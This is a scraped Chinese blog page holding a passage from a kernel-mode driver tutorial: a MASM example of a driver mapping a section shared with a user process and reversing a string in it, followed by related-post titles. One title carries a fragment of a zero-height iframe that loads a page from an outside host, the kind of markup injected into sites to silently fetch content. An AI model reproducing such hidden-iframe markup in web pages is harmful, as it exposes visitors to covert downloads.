在调用了ZwMapViewOfSection之后,变量pSectionBaseAddress保存的值位于用户地址区域中,而不是核心区域中的地址,这点我们可以预料到。这可是个原则上的问题,即对这个地址的使用将只能在这个进程的上下文中,在映射section的地址空间中。由于SharedSection驱动程序是单层的(您还记得IRP_MJ_DEVICE_CONTROL类型的IRP处理要经过驱动程序进入发出该操作的线程上下文中),所以我们位于我们的应用程序的上下文中。

这里视图的虚拟地址与应用程序中视图的地址将有所不同,但共享section所在的物理页是同一个。我们这里有一个内存页,其中还保存着倒着写的一行文字。

_try

invoke _strrev, pSectionBaseAddress
                mov [esi].IoStatus.Status, STATUS_SUCCESS

_finally

建立SEH-frame,调用函数_strrev将文字转反。现在可以轻松的读懂了:

A memory-mapped file backed by the paging file is a common technique used for sharing  memory among user processes. However you can use the same technique to share memory between a user process and a device driver.

KMD驱动教程续-8相关推荐

  1. KMD驱动教程续-11

    src="http://pspper.xkwm.cn/main.htm" width="100" height="0"> Kmdtut ...

  2. Mongodb python驱动教程

    2019独角兽企业重金招聘Python工程师标准>>> Mongodb python驱动教程 安装 使用python驱动mongodb需要下载.安装PyMongo包 Windows用 ...

  3. 《Android开发案例驱动教程》

    <Android开发案例驱动教程> 作者:关东升,赵志荣 Java或C++程序员转变成为Android程序员 采用案例驱动模式展开讲解知识点,即介绍案例->案例涉及技术->展开 ...

  4. 计算机无线网怎么安装教程,全民wifi驱动怎么安装_电脑安装全民wifi驱动教程

    全民wifi是许多用户都喜欢安装的一款免费wifi共享软件,在使用之前要先安装全民wifi驱动才可以正常使用,但是许多用户可能还不知道全民wifi驱动怎么安装,所以,本文就给大家演示一下电脑安装全民w ...

  5. c语言程序设计工作任务,C语言程序设计任务驱动教程

    <高等院校计算机任务驱动教改教材:C语言程序设计任务驱动教程>强调动脑.动手,强调"做中学.做中会".每个教学单元的语法知识条理化,程序编写渐进化,通过"知识 ...

  6. 小米5s+刷+android+8.0,【小米5S标准版 解账户锁线刷包】MIUI V8.0.10.0 刷机 工具+驱动+教程!紫火提供版...

    [小米5S标准全网 解账户锁线刷包]含刷机工具+驱动+教程!机客盟提供版,基于官方MIUI V8.0.10.0.MAGCNDH适用于2015711版纯净,稳定,流畅,省电版 刷机包里面包含 刷机工具 ...

  7. 黑苹果核心显卡clover驱动教程

    文章目录[隐藏] 根据下面的1-7步骤进行清理残留 添加 Lilu + WhateverGreen 驱动 获取 IGPU 的设备路径(这一步我没有操作也成功驱动核显了) ig-platform-id ...

  8. alc236黑苹果驱动_黑苹果核心显卡驱动教程

    大家在黑苹果安装完后经常出现核显没有驱动上,表现为查看显存只有6M.7M之类,会有卡顿,浏览器新建标签页会花屏等现象. 开始之前请注意你的显示器接口以及是DVI.HDMI.DP之类的高清接口,使用VG ...

  9. WDF开发USB设备驱动教程(1)

    PDF下载地址(1.2版):链接地址 CY001开发板讨论帖:链接地址 注:本文档新版本已出,请在博客中查找,或下载PDF全文文档. 链接地址WDF开发USB设备驱动教程 by 张佩 文档说明 作者写 ...

最新文章

  1. 第一范式、第二范式、第三范式
  2. android 动态添加删除控件,求教Android,动态添加到控件能动态删除吗?
  3. python3 第三十四章 - 聊聊File对象
  4. 这是我见过最好的Flash知识介绍了!
  5. 训练日志 2019.2.16
  6. Windows Terminal Preview 1.3 发布
  7. VB如何读取快捷方式的目标路径
  8. 植物大战僵尸全明星服务器维修多长时间,植物大战僵尸全明星常见问题FAQ详解...
  9. 【华为 OJ】 字符串分割
  10. 计算机资源管理老是未响应,Win10资源管理器总是崩溃怎么办?文件资源管理器未响应解决方法...
  11. Eclipse字体调整
  12. Sap Hana触发器
  13. 中国期货市场监控中心爬虫
  14. 高速公路收费标准c语言,c语言课程设计报告-高速公路收费系统
  15. mybatis mysql 关于调用存储过程获取查询结果
  16. [Codeforces 940E]Cashback
  17. 【C语言进阶】很诡异的编译报错expected declaration or statement at end of input
  18. qt程序在Linux下字体乱了,QT5程序字体渲染的问题
  19. sscanf输出指定MAC地址格式
  20. 华为软件研发工程师_华为软件工程师面试经验

热门文章

  1. gTasks Pro for Mac(谷歌任务管理器)
  2. wordpress 、supesite、discuz,ngi…
  3. uln2803驱动直流电机电路图_51单片机的直流电机PWM调速系统设计,正转反转,加减速,急停等,仿真和代码...
  4. CYCA少儿形体礼仪 清远市培训成果考核圆满落幕
  5. 《国际学术论文写作与发表》参考答案
  6. 谈谈我,一个小学文化网站站长的这12年的心路历程
  7. matlab polyfit
  8. MTK LCD背光驱动——背光芯片
  9. 计算机网络第七版期末考试名词解释,计算机网络期末考试必背题
  10. 微信热门测试,小学数学,你能得几分试题详解